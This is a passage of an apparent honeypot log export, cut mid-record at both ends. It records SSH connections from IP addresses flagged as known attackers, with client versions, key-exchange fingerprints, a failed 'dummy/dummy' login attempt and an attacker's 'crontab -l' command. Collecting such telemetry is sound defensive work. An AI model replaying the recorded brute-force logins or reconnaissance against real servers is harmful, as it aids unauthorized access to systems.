"diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5b61f7f46fd6", "@version": "1", "timestamp": "2021-09-20T11:06:31.199975Z", "@timestamp": "2021-09-20T11:06:31.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22112	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:31.736569+03	2021-09-20 14:15:04.511642+03	{"_id": "ZgXiAnwBvYTbRNuE0_-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:31.736569Z", "@timestamp": "2021-09-20T11:06:31.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22179	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.663171+03	2021-09-20 14:15:04.597613+03	{"_id": "bwXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dad9cdc78955", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:20.663171Z", "@timestamp": "2021-09-20T11:06:20.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22113	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.020041+03	2021-09-20 14:15:04.512643+03	{"_id": "ZwXiAnwBvYTbRNuE0_-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "80fa559a3d79", "@version": "1", "timestamp": "2021-09-20T11:06:32.020041Z", "@timestamp": "2021-09-20T11:06:32.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22114	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:17.586201+03	2021-09-20 14:15:04.513644+03	{"_id": "zwXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 437480724205539, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51104, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.586201Z", "@timestamp": "2021-09-20T11:06:17.586Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22115	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:17.597668+03	2021-09-20 14:15:04.515642+03	{"_id": "0QXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 528959232648810, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44116, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.597668Z", "@timestamp": "2021-09-20T11:06:17.597Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22116	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.745602+03	2021-09-20 14:15:04.516642+03	{"_id": "1QXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33754 (192.168.176.2:22) [session: 7063802edb6e]", "session": "7063802edb6e", "@version": "1", "protocol": "ssh", "src_port": 33754, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.745602Z", "@timestamp": "2021-09-20T11:06:17.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22122	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:17.23939+03	2021-09-20 14:15:04.524641+03	{"_id": "7QXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53006, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.239390", "@timestamp": "2021-09-20T11:06:17.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22117	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.240204+03	2021-09-20 14:15:04.517642+03	{"_id": "2gXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3894053eb664", "@version": "1", "timestamp": "2021-09-20T11:06:17.240204Z", "@timestamp": "2021-09-20T11:06:17.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22118	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.746798+03	2021-09-20 14:15:04.519642+03	{"_id": "4QXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7063802edb6e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:17.746798Z", "@timestamp": "2021-09-20T11:06:17.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22119	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:17.322287+03	2021-09-20 14:15:04.520646+03	{"_id": "6AXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44116 (192.168.176.2:22) [session: 10e274bbe592]", "session": "10e274bbe592", "@version": "1", "protocol": "ssh", "src_port": 44116, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.322287Z", "@timestamp": "2021-09-20T11:06:17.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22120	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:18.025532+03	2021-09-20 14:15:04.521642+03	{"_id": "4wXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [dummy/dummy] failed", "session": "9eeb915bdaee", "@version": "1", "password": "dummy", "username": "dummy", "timestamp": "2021-09-20T11:06:18.025532Z", "@timestamp": "2021-09-20T11:06:18.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22121	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:16.99593+03	2021-09-20 14:15:04.523643+03	{"_id": "7AXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 